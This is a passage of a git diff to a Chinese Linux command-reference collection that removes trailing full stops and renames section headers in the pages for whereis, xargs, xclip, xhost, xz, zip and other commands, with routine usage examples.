cookies 至 FILE + --keep-session-cookies 载入并保存会话 (非永久) cookies + --post-data=字符串 使用 POST 方式;把 <字串>作为数据发送 + --post-file=文件 使用 POST 方式;发送 <文件> 内容 + --method=HTTP方法 在请求中使用指定的 --post-data=字符串 把 <字串> 作为数据发送,必须设置 --method --post-file=文件 发送 <文件> 内容,必须设置 --method --content-disposition 当选择本地文件名时允许 Content-Disposition - 头部 (实验中)。 + 头部 (实验中) --content-on-error 在服务器错误时输出接收到的内容 - --auth-no-challenge 不先等待服务器询问就发送基本 HTTP 验证信息。 + --auth-no-challenge 不先等待服务器询问就发送基本 HTTP 验证信息 HTTPS (SSL/TLS) 选项: --secure-protocol=PR choose secure protocol, one of auto, SSLv2, SSLv3, TLSv1, TLSv1_1, TLSv1_2 and PFS --https-only 只跟随安全的 HTTPS 链接 - --no-check-certificate 不要验证服务器的证书。 - --certificate=文件 客户端证书文件。 - --certificate-type=类型 客户端证书类型,PEM 或 DER。 - --private-key=文件 私钥文件。 - --private-key-type=类型 私钥文件类型,PEM 或 DER。 - --ca-certificate=文件 带有一组 CA 证书的文件。 - --ca-directory=DIR 保存 CA 证书的哈希列表的目录。 - --ca-certificate=文件 带有一组 CA 证书的文件。 + --no-check-certificate 不要验证服务器的证书 + --certificate=文件 客户端证书文件 + --certificate-type=类型 客户端证书类型,PEM 或 DER + --private-key=文件 私钥文件 + --private-key-type=类型 私钥文件类型,PEM 或 DER + --ca-certificate=文件 带有一组 CA 证书的文件 + --ca-directory=DIR 保存 CA 证书的哈希列表的目录 + --ca-certificate=文件 带有一组 CA 证书的文件 --pinnedpubkey=文件/散列值 用于验证节点的公钥(PEM/DER)文件或 任何数量的 sha256 散列值,以 base64 编码、 “sha256//” 开头、用“;”间隔 - --random-file=文件 用于初始化 SSL 伪随机数生成器(PRNG)的文件, + --random-file=文件 用于初始化 SSL 伪随机数生成器(PRNG)的文件 应含有随机数据 HSTS 选项: @@ -156,7 +156,7 @@ HSTS 选项: --hsts-file HSTS 数据库路径(将覆盖默认值) FTP 选项: - --ftp-user=用户 设置 ftp 用户名为 <用户>。 + --ftp-user=用户 设置 ftp 用户名为 <用户> --ftp-password=密码 设置 ftp 密码为 <密码> --no-remove-listing 不要删除‘.listing’文件 --no-glob 不在 FTP 文件名中使用通配符展开 @@ -181,15 +181,15 @@ WARC 选项: 递归下载: -r, --recursive 指定递归下载 - -l, --level=数字 最大递归深度 (inf 或 0 代表无限制,即全部下载)。 + -l, --level=数字 最大递归深度 (inf 或 0 代表无限制,即全部下载) --delete-after 下载完成后删除本地文件 -k, --convert-links 让下载得到的 HTML 或 CSS 中的链接指向本地文件 --convert-file-only 只转换 URL 的文件部分(一般叫做“基础名”/basename) --backups=N 写入文件 X 前,轮换移动最多 N 个备份文件 - -K, --backup-converted 在转换文件 X 前先将它备份为 X.orig。 - -m, --mirror -N -r -l inf --no-remove-listing 的缩写形式。 - -p, --page-requisites 下载所有用于显示 HTML 页面的图片之类的元素。 - --strict-comments 用严格方式 (SGML) 处理 HTML 注释。 + -K, --backup-converted 在转换文件 X 前先将它备份为 X.orig + -m, --mirror -N -r -l inf --no-remove-listing 的缩写形式 + -p, --page-requisites 下载所有用于显示 HTML 页面的图片之类的元素 + --strict-comments 用严格方式 (SGML) 处理 HTML 注释 递归接受/拒绝: -A, --accept=列表 逗号分隔的可接受的扩展名列表 diff --git a/Linux_man_cn/whatis.md b/Linux_man_cn/whatis.md index 8acb597..60ed304 100644 --- a/Linux_man_cn/whatis.md +++ b/Linux_man_cn/whatis.md @@ -2,7 +2,7 @@ ## 说明 -**whatis命令** 是用于查询一个命令执行什么功能,并将查询结果打印到终端上。 +**whatis命令** 是用于查询一个命令执行什么功能,并将查询结果打印到终端上 whatis命令在用`catman -w`命令创建的数据库中查找command参数指定的命令、系统调用、库函数或特殊文件名。whatis命令显示手册部 分的页眉行。然后可以发出man命令以获取附加的信息。whatis命令等同于使用`man -f`命令 diff --git a/Linux_man_cn/whereis.md b/Linux_man_cn/whereis.md index e67d5ca..476eba4 100644 --- a/Linux_man_cn/whereis.md +++ b/Linux_man_cn/whereis.md @@ -5,13 +5,13 @@ whereis ## 说明 -**whereis命令** 用来定位指令的二进制程序、源代码文件和man手册页等相关文件的路径。 +**whereis命令** 用来定位指令的二进制程序、源代码文件和man手册页等相关文件的路径 -whereis命令只能用于程序名的搜索,而且只搜索二进制文件(参数-b)、man说明文件(参数-m)和源代码文件(参数-s)。如果省略参数,则返回所有信息。 +whereis命令只能用于程序名的搜索,而且只搜索二进制文件(参数-b)、man说明文件(参数-m)和源代码文件(参数-s)。如果省略参数,则返回所有信息 -和find相比,whereis查找的速度非常快,这是因为linux系统会将 系统内的所有文件都记录在一个数据库文件中,当使用whereis和下面即将介绍的locate时,会从数据库中查找数据,而不是像find命令那样,通 过遍历硬盘来查找,效率自然会很高。 但是该数据库文件并不是实时更新,默认情况下时一星期更新一次,因此,我们在用whereis和locate 查找文件时,有时会找到已经被删除的数据,或者刚刚建立文件,却无法查找到,原因就是因为数据库文件没有被更新。 +和find相比,whereis查找的速度非常快,这是因为linux系统会将 系统内的所有文件都记录在一个数据库文件中,当使用whereis和下面即将介绍的locate时,会从数据库中查找数据,而不是像find命令那样,通 过遍历硬盘来查找,效率自然会很高。 但是该数据库文件并不是实时更新,默认情况下时一星期更新一次,因此,我们在用whereis和locate 查找文件时,有时会找到已经被删除的数据,或者刚刚建立文件,却无法查找到,原因就是因为数据库文件没有被更新 -### 语法 +## 选项 ``` whereis(选项)(参数) @@ -20,21 +20,21 @@ whereis(选项)(参数) ``` --b:只查找二进制文件; --B<目录>:只在设置的目录下查找二进制文件; --f:不显示文件名前的路径名称; --m:只查找说明文件; --M<目录>:只在设置的目录下查找说明文件; --s:只查找原始代码文件; --S<目录>只在设置的目录下查找原始代码文件; --u:查找不包含指定类型的文件。 +-b:只查找二进制文件 +-B<目录>:只在设置的目录下查找二进制文件 +-f:不显示文件名前的路径名称 +-m:只查找说明文件 +-M<目录>:只在设置的目录下查找说明文件 +-s:只查找原始代码文件 +-S<目录>只在设置的目录下查找原始代码文件 +-u:查找不包含指定类型的文件 ``` ### 参数 -指令名:要查找的二进制程序、源文件和man手册页的指令名。 +指令名:要查找的二进制程序、源文件和man手册页的指令名 -### 实例 +## 实例 将相关的文件都查找出来 @@ -62,6 +62,6 @@ svn: ``` -说明:`whereis -m svn`查出说明文档路径,`whereis -s svn`找source源文件。 +说明:`whereis -m svn`查出说明文档路径,`whereis -s svn`找source源文件 diff --git a/Linux_man_cn/whoami.md b/Linux_man_cn/whoami.md index fc75f87..dc20738 100644 --- a/Linux_man_cn/whoami.md +++ b/Linux_man_cn/whoami.md @@ -5,9 +5,9 @@ whoami ## 说明 -**whoami命令** 用于打印当前有效的用户名称,相当于执行`id -un`命令。 +**whoami命令** 用于打印当前有效的用户名称,相当于执行`id -un`命令 -### 语法 +## 选项 ``` whoami(选项) @@ -16,11 +16,11 @@ whoami(选项) ``` ---help:在线帮助; ---version:显示版本信息。 +--help:在线帮助 +--version:显示版本信息 ``` -### 实例 +## 实例 ``` [root@localhost ~]# whoami diff --git a/Linux_man_cn/write.md b/Linux_man_cn/write.md index 10c07ba..b126e21 100644 --- a/Linux_man_cn/write.md +++ b/Linux_man_cn/write.md @@ -5,9 +5,9 @@ write ## 说明 -**write命令** 用于向指定登录用户终端上发送信息。通过write命令可传递信息给另一位登入系统的用户,当输入完毕后,键入EOF表示信息结束,write命令就会将信息传给对方。如果接收信息的用户不只登入本地主机一次,你可以指定接收信息的终端机编号。 +**write命令** 用于向指定登录用户终端上发送信息。通过write命令可传递信息给另一位登入系统的用户,当输入完毕后,键入EOF表示信息结束,write命令就会将信息传给对方。如果接收信息的用户不只登入本地主机一次,你可以指定接收信息的终端机编号 -### 语法 +## 选项 ``` write(参数) @@ -16,11 +16,11 @@ write(参数) ### 参数 ``` -用户:指定要接受信息的登录用户; -登陆终端:指定接收信息的用户的登录终端。 +用户:指定要接受信息的登录用户 +登陆终端:指定接收信息的用户的登录终端 ``` -### 实例 +## 实例 传信息给Rollaend,此时Rollaend只有一个连线 :  @@ -38,6 +38,6 @@ write Rollaend pts/2 接下来就是将信息打上去,结束请Ctrl+C: -若对方设定`mesg n`,则此时信息将无法传给对方。 +若对方设定`mesg n`,则此时信息将无法传给对方 diff --git a/Linux_man_cn/xargs.md b/Linux_man_cn/xargs.md index f47b95b..f0b712d 100644 --- a/Linux_man_cn/xargs.md +++ b/Linux_man_cn/xargs.md @@ -48,11 +48,11 @@ Non-mandatory arguments are indicated by [square brackets] ## 说明 -**xargs命令** 是给其他命令传递参数的一个过滤器,也是组合多个命令的一个工具。它擅长将标准输入数据转换成命令行参数,xargs能够处理管道或者stdin并将其转换成特定命令的命令参数。xargs也可以将单行或多行文本输入转换为其他格式,例如多行变单行,单行变多行。xargs的默认命令是echo,空格是默认定界符。这意味着通过管道传递给xargs的输入将会包含换行和空白,不过通过xargs的处理,换行和空白将被空格取代。xargs是构建单行命令的重要组件之一。 +**xargs命令** 是给其他命令传递参数的一个过滤器,也是组合多个命令的一个工具。它擅长将标准输入数据转换成命令行参数,xargs能够处理管道或者stdin并将其转换成特定命令的命令参数。xargs也可以将单行或多行文本输入转换为其他格式,例如多行变单行,单行变多行。xargs的默认命令是echo,空格是默认定界符。这意味着通过管道传递给xargs的输入将会包含换行和空白,不过通过xargs的处理,换行和空白将被空格取代。xargs是构建单行命令的重要组件之一 ### xargs命令用法 -xargs用作替换工具,读取输入数据重新格式化后输出。 +xargs用作替换工具,读取输入数据重新格式化后输出 定义一个测试文件,内有多行文本数据: @@ -114,7 +114,7 @@ name name ``` #!/bin/bash -#sk.sh命令内容,打印出所有参数。 +#sk.sh命令内容,打印出所有参数 echo $* @@ -158,7 +158,7 @@ ls *.jpg | xargs -n1 -I cp {} /data/images find . -type f -name "*.log" -print0 | xargs -0 rm -f ``` -xargs -0将\0作为定界符。 +xargs -0将\0作为定界符 统计一个源代码目录中所有php文件的行数: @@ -184,13 +184,13 @@ cat url-list.txt | xargs wget -c ### 子Shell(Subshells) -运行一个shell脚本时会启动另一个命令解释器.,就好像你的命令是在命令行提示下被解释的一样,类似于批处理文件里的一系列命令。每个shell脚本有效地运行在父shell(parent shell)的一个子进程里。这个父shell是指在一个控制终端或在一个xterm窗口中给你命令指示符的进程。 +运行一个shell脚本时会启动另一个命令解释器.,就好像你的命令是在命令行提示下被解释的一样,类似于批处理文件里的一系列命令。每个shell脚本有效地运行在父shell(parent shell)的一个子进程里。这个父shell是指在一个控制终端或在一个xterm窗口中给你命令指示符的进程 ``` cmd1 | ( cmd2; cmd3; cmd4 ) | cmd5 ``` -如果cmd2 是cd /,那么就会改变子Shell的工作目录,这种改变只是局限于子shell内部,cmd5则完全不知道工作目录发生的变化。子shell是嵌在圆括号()内部的命令序列,子Shell内部定义的变量为局部变量。 +如果cmd2 是cd /,那么就会改变子Shell的工作目录,这种改变只是局限于子shell内部,cmd5则完全不知道工作目录发生的变化。子shell是嵌在圆括号()内部的命令序列,子Shell内部定义的变量为局部变量 子shell可用于为一组命令设定临时的环境变量: @@ -206,9 +206,9 @@ COMMAND3 shift 5 COMMAND4 COMMAND5 - exit 3 # 只是从子shell退出。 + exit 3 # 只是从子shell退出 ) -# 父shell不受影响,变量值没有更改。 +# 父shell不受影响,变量值没有更改 COMMAND6 COMMAND7 ``` diff --git a/Linux_man_cn/xauth.md b/Linux_man_cn/xauth.md index f9a2cea..06d5c0e 100644 --- a/Linux_man_cn/xauth.md +++ b/Linux_man_cn/xauth.md @@ -5,9 +5,9 @@ xauth ## 说明 -**xauth命令** 用于显示和编辑被用于连接X服务器的认证信息。 +**xauth命令** 用于显示和编辑被用于连接X服务器的认证信息 -### 语法 +## 选项 ``` xauth(选项)(参数) @@ -16,25 +16,25 @@ xauth(选项)(参数) ``` --f:不使用默认的认证文件,而使用指定的认证文件; --q:安静模式,不打印未请求的状态信息; --v:详细模式,打印指定的各种操作信息; --i:忽略认证文件锁定; --b:执行任何操作,终端认证文件锁定。 +-f:不使用默认的认证文件,而使用指定的认证文件 +-q:安静模式,不打印未请求的状态信息 +-v:详细模式,打印指定的各种操作信息 +-i:忽略认证文件锁定 +-b:执行任何操作,终端认证文件锁定 ``` ### 参数 -* add:添加认证条目到认证文件中; -* extract:将指定的设备内容加入到指定的密码文件中; -* info:显示授权文件相关信息; -* exit:退出交互模式; -* list:列出给定的显示设备的内容; -* merge:合并多个授权文件内容; -* extract:将指定设备内容写入指定的授权文件; -* nextrct:将指定设备内容写入指定的授权文件; -* nmerge:合并多个授权文件内容; -* remove:删除指定显示设备的授权条目; -* source:从指定文件读取包含xauth的内容指令。 +* add:添加认证条目到认证文件中 +* extract:将指定的设备内容加入到指定的密码文件中 +* info:显示授权文件相关信息 +* exit:退出交互模式 +* list:列出给定的显示设备的内容 +* merge:合并多个授权文件内容 +* extract:将指定设备内容写入指定的授权文件 +* nextrct:将指定设备内容写入指定的授权文件 +* nmerge:合并多个授权文件内容 +* remove:删除指定显示设备的授权条目 +* source:从指定文件读取包含xauth的内容指令 diff --git a/Linux_man_cn/xclip.md b/Linux_man_cn/xclip.md index 02f9bd2..c233f9c 100644 --- a/Linux_man_cn/xclip.md +++ b/Linux_man_cn/xclip.md @@ -5,23 +5,23 @@ xclip ## 说明 -在 X 系统里面,从一个窗口复制一段文字到另一个窗口,有两套机制,分别是 Selections 和 cut buffers。 +在 X 系统里面,从一个窗口复制一段文字到另一个窗口,有两套机制,分别是 Selections 和 cut buffers -常用的 copy & paste 是利用的 cut buffers 机制;另外用鼠标选中一段文字,然后在另一个窗口按鼠标中键实现复制,利用的是 selections 机制。selection 又可以分为 master 和 slave selection。 +常用的 copy & paste 是利用的 cut buffers 机制;另外用鼠标选中一段文字,然后在另一个窗口按鼠标中键实现复制,利用的是 selections 机制。selection 又可以分为 master 和 slave selection -当用鼠标选中一段文件,这段文字就自动被复制到 master selection。然后在另一个地方按鼠标中键,就自动把 master selection 的内容粘贴出来。 +当用鼠标选中一段文件,这段文字就自动被复制到 master selection。然后在另一个地方按鼠标中键,就自动把 master selection 的内容粘贴出来 -当你想复制少量文字的时候,两种方法都是很方便的。但是当复制大段文字的时候就挺麻烦。另外就是你可能会频繁的执行一些复制粘贴工作,不停的用鼠标选中文字,然后再粘贴。这是对手指的折磨。 +当你想复制少量文字的时候,两种方法都是很方便的。但是当复制大段文字的时候就挺麻烦。另外就是你可能会频繁的执行一些复制粘贴工作,不停的用鼠标选中文字,然后再粘贴。这是对手指的折磨 -我忍受不了这种折磨,所以发现了 xclip, 方便的管理 X selections 里面内容的工具。 +我忍受不了这种折磨,所以发现了 xclip, 方便的管理 X selections 里面内容的工具 -比如如下命令就把文件 /etc/passwd 的内容复制到 X master selections 里面了。 +比如如下命令就把文件 /etc/passwd 的内容复制到 X master selections 里面了 ``` xclip -i /etc/passwd ``` -然后到别的地方就能复制出来,利用鼠标中键。或者是更舒服的 shift+insert。 我现在最常用的方法是通过键盘绑定来管理 X master selections 的内容。比如 alt+F1 就能把我的 ~/f1 的内容复制到 X master selections,alt+F2 复制 ~/f2 的内容。这样就能把你需要经常用到的内容方便的进行复制粘贴。比如常用的密码啥的。 +然后到别的地方就能复制出来,利用鼠标中键。或者是更舒服的 shift+insert。 我现在最常用的方法是通过键盘绑定来管理 X master selections 的内容。比如 alt+F1 就能把我的 ~/f1 的内容复制到 X master selections,alt+F2 复制 ~/f2 的内容。这样就能把你需要经常用到的内容方便的进行复制粘贴。比如常用的密码啥的 diff --git a/Linux_man_cn/xhost.md b/Linux_man_cn/xhost.md index 7f0fb87..771b116 100644 --- a/Linux_man_cn/xhost.md +++ b/Linux_man_cn/xhost.md @@ -5,9 +5,9 @@ xhost ## 说明 -**xhost命令** 是X服务器的访问控制工具,用来控制哪些X客户端能够在X服务器上显示。该命令必须从有显示连接的机器上运行。可以通过使用`-host`参数,从访问列表中除去一个名称。不要从访问列表中除去当前的名称。如果已经这样做了,请在作出任何更改之前注销系统。 +**xhost命令** 是X服务器的访问控制工具,用来控制哪些X客户端能够在X服务器上显示。该命令必须从有显示连接的机器上运行。可以通过使用`-host`参数,从访问列表中除去一个名称。不要从访问列表中除去当前的名称。如果已经这样做了,请在作出任何更改之前注销系统 -### 语法 +## 选项 ``` xhost(参数) @@ -15,17 +15,17 @@ xhost(参数) ### 参数 -* +:关闭访问控制,允许任何主机访问本地的X服务器; -* -:打开访问控制,仅允许授权清单中的主机访问本地的X服务器。 +* +:关闭访问控制,允许任何主机访问本地的X服务器 +* -:打开访问控制,仅允许授权清单中的主机访问本地的X服务器 -输入无变量的xhost命令将显示访问X服务器的当前主机名,并显示一条消息表明访问是否已启用。 +输入无变量的xhost命令将显示访问X服务器的当前主机名,并显示一条消息表明访问是否已启用 -为了安全起见,只能从控制主机运行影响访问控制的选项。对于工作站来说,这台机器也就是服务器。对于X终端来说,这台机器是登录主机。 +为了安全起见,只能从控制主机运行影响访问控制的选项。对于工作站来说,这台机器也就是服务器。对于X终端来说,这台机器是登录主机 -要在缺省情况下启用远程名称,可以在`/etc/X?.hosts`文件中定义名称,其中`?`为启用访问的显示器号。 +要在缺省情况下启用远程名称,可以在`/etc/X?.hosts`文件中定义名称,其中`?`为启用访问的显示器号 -例如,显示器`jeanne:0`可以由使用jeanne的缺省主机名的系统上的`/etc/X0.hosts`文件中定义的系统访问。在显示名称和文件名中,0表明已定义的远程系统允许通过增强X-Windows访问的显示器号。 +例如,显示器`jeanne:0`可以由使用jeanne的缺省主机名的系统上的`/etc/X0.hosts`文件中定义的系统访问。在显示名称和文件名中,0表明已定义的远程系统允许通过增强X-Windows访问的显示器号 -注意:`-name`参数,定义要从X服务器访问列表中除去的主机名。已有的连接没有被中断,但将拒绝新的连接请求。注意:可以除去当前的机器;然而,不允许进行进一步的连接(包括试图将其添加回来)。再一次启用本地连接的唯一方法就是将服务器复位(因此也会中断所有连接)。 +注意:`-name`参数,定义要从X服务器访问列表中除去的主机名。已有的连接没有被中断,但将拒绝新的连接请求。注意:可以除去当前的机器;然而,不允许进行进一步的连接(包括试图将其添加回来)。再一次启用本地连接的唯一方法就是将服务器复位(因此也会中断所有连接) diff --git a/Linux_man_cn/xinit.md b/Linux_man_cn/xinit.md index d04d090..caa89a4 100644 --- a/Linux_man_cn/xinit.md +++ b/Linux_man_cn/xinit.md @@ -5,9 +5,9 @@ xinit ## 说明 -**xinit命令** 是Linux下X-Window系统的初始化程序,主要完成X服务器的初始化设置。 +**xinit命令** 是Linux下X-Window系统的初始化程序,主要完成X服务器的初始化设置 -### 语法 +## 选项 ``` xinit(参数) @@ -15,8 +15,8 @@ xinit(参数) ### 参数 -* 客户端选项:客户端指令及选项; -* --:用于区分客户端选项和服务器端选项; -* 服务器端选项:服务器端选项指令及选项。 +* 客户端选项:客户端指令及选项 +* --:用于区分客户端选项和服务器端选项 +* 服务器端选项:服务器端选项指令及选项 diff --git a/Linux_man_cn/xlsatoms.md b/Linux_man_cn/xlsatoms.md index b1ba907..14dcadc 100644 --- a/Linux_man_cn/xlsatoms.md +++ b/Linux_man_cn/xlsatoms.md @@ -5,9 +5,9 @@ xlsatoms ## 说明 -**xlsatoms命令** 用于列出X服务器内部所有定义的原子成分,每个原子成分都有自身的编号。可利用参数设置列表范围,或直接指定欲查询的成分名称。 +**xlsatoms命令** 用于列出X服务器内部所有定义的原子成分,每个原子成分都有自身的编号。可利用参数设置列表范围,或直接指定欲查询的成分名称 -### 语法 +## 选项 ``` xlsatoms(选项) @@ -15,9 +15,9 @@ xlsatoms(选项) -* -display<显示器编号>:指定X Server连接的显示器编号,该编号由"0"开始计算,依序递增; -* -format<输出格式>:设置成分清单的列表格式,您可使用控制字符改变显示样式; -* -name<成分名称>:列出指定的成分; -* -range<列表范围>:设置成分清单的列表范围。 +* -display<显示器编号>:指定X Server连接的显示器编号,该编号由"0"开始计算,依序递增 +* -format<输出格式>:设置成分清单的列表格式,您可使用控制字符改变显示样式 +* -name<成分名称>:列出指定的成分 +* -range<列表范围>:设置成分清单的列表范围 diff --git a/Linux_man_cn/xlsclients.md b/Linux_man_cn/xlsclients.md index fa7f4ed..868eb17 100644 --- a/Linux_man_cn/xlsclients.md +++ b/Linux_man_cn/xlsclients.md @@ -5,9 +5,9 @@ xlsclients ## 说明 -**xlsclients命令** 用来列出显示器中的客户端应用程序。 +**xlsclients命令** 用来列出显示器中的客户端应用程序 -### 语法 +## 选项 ``` xlsclients(选项) @@ -16,10 +16,10 @@ xlsclients(选项) ``` --a:列出所有显示器的客户端应用程序信息; --display<显示器编号>:指定X Server连接的显示器编号,该编号由"0"开始计算,依序递增; --l:使用详细格式列表; --m<最大指令长度>:设置显示指令信息的最大长度,单位以字符计算。 +-a:列出所有显示器的客户端应用程序信息 +-display<显示器编号>:指定X Server连接的显示器编号,该编号由"0"开始计算,依序递增 +-l:使用详细格式列表 +-m<最大指令长度>:设置显示指令信息的最大长度,单位以字符计算 ``` diff --git a/Linux_man_cn/xlsfonts.md b/Linux_man_cn/xlsfonts.md index e88dafb..55a8598 100644 --- a/Linux_man_cn/xlsfonts.md +++ b/Linux_man_cn/xlsfonts.md @@ -5,9 +5,9 @@ xlsfonts ## 说明 -**xlsfonts命令** 列出X Server使用的字体,也能使用范本样式仅列出的符合条件的字体。 +**xlsfonts命令** 列出X Server使用的字体,也能使用范本样式仅列出的符合条件的字体 -### 语法 +## 选项 ``` xlsfonts(选项) @@ -16,14 +16,14 @@ xlsfonts(选项) ``` --l:除字体名称外,同时列出字体的属性; --ll:此参数的效果和指定"l"参数类似,但显示更详细的信息; --lll:此参数的效果和指定"ll"参数类似,但显示更详细的信息; --m:配合参数"-l"使用时,一并列出字体大小的上下限; --n<显示栏位数>:设置每列显示的栏位数; --o:以OpenFont的形式列出字体清单; --u:列出字体清单时不依照其名称排序; --w<每列字符数>:设置每列的最大字符数。 +-l:除字体名称外,同时列出字体的属性 +-ll:此参数的效果和指定"l"参数类似,但显示更详细的信息 +-lll:此参数的效果和指定"ll"参数类似,但显示更详细的信息 +-m:配合参数"-l"使用时,一并列出字体大小的上下限 +-n<显示栏位数>:设置每列显示的栏位数 +-o:以OpenFont的形式列出字体清单 +-u:列出字体清单时不依照其名称排序 +-w<每列字符数>:设置每列的最大字符数 ``` diff --git a/Linux_man_cn/xset.md b/Linux_man_cn/xset.md index 61a9004..4aa4176 100644 --- a/Linux_man_cn/xset.md +++ b/Linux_man_cn/xset.md @@ -5,9 +5,9 @@ xset ## 说明 -**xset命令** 是设置X-Window系统中的用户爱好的实用工具。 +**xset命令** 是设置X-Window系统中的用户爱好的实用工具 -### 语法 +## 选项 ``` xset(选项)(参数) @@ -16,13 +16,13 @@ xset(选项)(参数) ``` --b:蜂鸣器开关设置; --c:键盘按键声响设置。 +-b:蜂鸣器开关设置 +-c:键盘按键声响设置 ``` ### 参数 -* c:键盘按键声响设置; -* s:屏幕保护程序设置。 +* c:键盘按键声响设置 +* s:屏幕保护程序设置 diff --git a/Linux_man_cn/xz.md b/Linux_man_cn/xz.md index 8e20ccc..492f652 100644 --- a/Linux_man_cn/xz.md +++ b/Linux_man_cn/xz.md @@ -2,9 +2,9 @@ ## 说明 -**xz命令** XZ Utils 是为 POSIX 平台开发具有高压缩率的工具。它使用 LZMA2 压缩算法,生成的压缩文件比 POSIX 平台传统使用的 gzip、bzip2 生成的压缩文件更小,而且解压缩速度也很快。最初 XZ Utils 的是基于 LZMA-SDK 开发,但是 LZMA-SDK 包含了一些 WINDOWS 平台的特性,所以 XZ Utils 为以适应 POSIX 平台作了大幅的修改。XZ Utils 的出现也是为了取代 POSIX 系统中旧的 LZMA Utils。 +**xz命令** XZ Utils 是为 POSIX 平台开发具有高压缩率的工具。它使用 LZMA2 压缩算法,生成的压缩文件比 POSIX 平台传统使用的 gzip、bzip2 生成的压缩文件更小,而且解压缩速度也很快。最初 XZ Utils 的是基于 LZMA-SDK 开发,但是 LZMA-SDK 包含了一些 WINDOWS 平台的特性,所以 XZ Utils 为以适应 POSIX 平台作了大幅的修改。XZ Utils 的出现也是为了取代 POSIX 系统中旧的 LZMA Utils -### 语法 +## 选项 ```info xz(选项)(参数) @@ -38,12 +38,12 @@ xz [OPTION]... [FILE]... ### 参数 -* 源文件:指定连接的源文件。 -* 目标文件:指定源文件的目标连接文件。 +* 源文件:指定连接的源文件 +* 目标文件:指定源文件的目标连接文件 -### 实例 +## 实例 -压缩一个文件 test.txt,压缩成功后生成 test.txt.xz, 原文件会被删除。 +压缩一个文件 test.txt,压缩成功后生成 test.txt.xz, 原文件会被删除 ```bash $ xz test.txt @@ -61,7 +61,7 @@ $ ls test.txt* test.txt.xz test.txt ``` -使用参数 -l 显示 .xz 文件的基本信息。基本信息包括压缩率、数据完整性验证方式等。也可以和参数 -v 或 -vv 配合显示更详尽的信息。 +使用参数 -l 显示 .xz 文件的基本信息。基本信息包括压缩率、数据完整性验证方式等。也可以和参数 -v 或 -vv 配合显示更详尽的信息 ```bash xz -l index.txt.xz @@ -69,22 +69,22 @@ xz -l index.txt.xz # 1 1 768 B 1,240 B 0.619 CRC64 index.txt. ``` -使用参数 -0, -1, -2, … -6, … -9 或参数 --fast, --best 设定压缩率。xz 命令的默认为 -6 ,对于大多数系统来说,甚至是一些较旧的系统,-4 … -6 压缩率预设值都不错的表现。 +使用参数 -0, -1, -2, … -6, … -9 或参数 --fast, --best 设定压缩率。xz 命令的默认为 -6 ,对于大多数系统来说,甚至是一些较旧的系统,-4 … -6 压缩率预设值都不错的表现 ``` $ xz -k7 xz_pipe_decomp_mini.c $ xz -k --fast xz_pipe_decomp_mini.c ``` -使用参数 -H 显示 xz 命令所有 options. 参数 -H 比使用参数 --help 显示的内容更详细。 +使用参数 -H 显示 xz 命令所有 options. 参数 -H 比使用参数 --help 显示的内容更详细 ``` $ xz -H | more ``` -借助 xargs 命令并行压缩多文件。下面的命令行可以将 /var/log 目录下所有的扩展名为 .log 的文件压缩。通过 xargs 命令同时运行多个 xz 进行压缩。 +借助 xargs 命令并行压缩多文件。下面的命令行可以将 /var/log 目录下所有的扩展名为 .log 的文件压缩。通过 xargs 命令同时运行多个 xz 进行压缩 ```bash -# 运行此命令须有 root 权限。 +# 运行此命令须有 root 权限 find /var/log -type f -iname "*.log" -print0 | xargs -P4 -n16 xz -T1 ``` diff --git a/Linux_man_cn/yes.md b/Linux_man_cn/yes.md index c4c6290..9bfc105 100644 --- a/Linux_man_cn/yes.md +++ b/Linux_man_cn/yes.md @@ -5,9 +5,9 @@ yes ## 说明 -**yes命令** 在命令行中输出指定的字符串,直到yes进程被杀死。不带任何参数输入yes命令默认的字符串就是y。 +**yes命令** 在命令行中输出指定的字符串,直到yes进程被杀死。不带任何参数输入yes命令默认的字符串就是y -### 语法 +## 选项 ``` yes(参数) @@ -15,9 +15,9 @@ yes(参数) ### 参数 -字符串:指定要重复打印的字符串。 +字符串:指定要重复打印的字符串 -### 实例 +## 实例 ``` [root@localhost ~]# yes testline @@ -30,7 +30,7 @@ testline testline testline testline -...一直重复打印 testline,按Ctrl+C结束。 +...一直重复打印 testline,按Ctrl+C结束 ``` diff --git a/Linux_man_cn/ypdomainname.md b/Linux_man_cn/ypdomainname.md index 84f85c0..731f71d 100644 --- a/Linux_man_cn/ypdomainname.md +++ b/Linux_man_cn/ypdomainname.md @@ -5,9 +5,9 @@ ypdomainname ## 说明 -**ypdomainname命令** 显示主机的NIS的域名。 +**ypdomainname命令** 显示主机的NIS的域名 -### 语法 +## 选项 ``` ypdomainname(选项) @@ -16,7 +16,7 @@ ypdomainname(选项) ``` --v:详细信息模式。 +-v:详细信息模式 ``` diff --git a/Linux_man_cn/yum.md b/Linux_man_cn/yum.md index c6f1e68..665a0bf 100644 --- a/Linux_man_cn/yum.md +++ b/Linux_man_cn/yum.md @@ -31,7 +31,7 @@ load-transaction 从文件名中加载一个已存事务 makecache 创建元数据缓存 provides 查找提供指定内容的软件包 reinstall 覆盖安装软件包 -repo-pkgs 将一个源当作一个软件包组,这样我们就可以一次性安装/移除全部软件包。 +repo-pkgs 将一个源当作一个软件包组,这样我们就可以一次性安装/移除全部软件包 repolist 显示已配置的源 search 在软件包详细信息中搜索指定字符串 shell 运行交互式的 yum shell diff --git a/Linux_man_cn/zfore.md b/Linux_man_cn/zfore.md index 32f71f4..151eaea 100644 --- a/Linux_man_cn/zfore.md +++ b/Linux_man_cn/zfore.md @@ -5,9 +5,9 @@ zfore ## 说明 -**zfore命令** 强制为gzip格式的压缩文件添加“.gz”后缀。 +**zfore命令** 强制为gzip格式的压缩文件添加“.gz”后缀 -### 语法 +## 选项 ``` zfore(参数) @@ -15,6 +15,6 @@ zfore(参数) ### 参数 -文件列表:指定要添加“.gz”后缀的gzip压缩文件。 +文件列表:指定要添加“.gz”后缀的gzip压缩文件 diff --git a/Linux_man_cn/zip.md b/Linux_man_cn/zip.md index 0c91026..33be777 100644 --- a/Linux_man_cn/zip.md +++ b/Linux_man_cn/zip.md @@ -5,9 +5,9 @@ zip ## 说明 -**zip命令** 可以用来解压缩文件,或者对文件进行打包操作。zip是个使用广泛的压缩程序,文件经它压缩后会另外产生具有“.zip”扩展名的压缩文件。 +**zip命令** 可以用来解压缩文件,或者对文件进行打包操作。zip是个使用广泛的压缩程序,文件经它压缩后会另外产生具有“.zip”扩展名的压缩文件 -### 语法 +## 选项 ``` zip(选项)(参数) @@ -16,48 +16,48 @@ zip(选项)(参数) ``` --A:调整可执行的自动解压缩文件; --b<工作目录>:指定暂时存放文件的目录; --c:替每个被压缩的文件加上注释; --d:从压缩文件内删除指定的文件; --D:压缩文件内不建立目录名称; 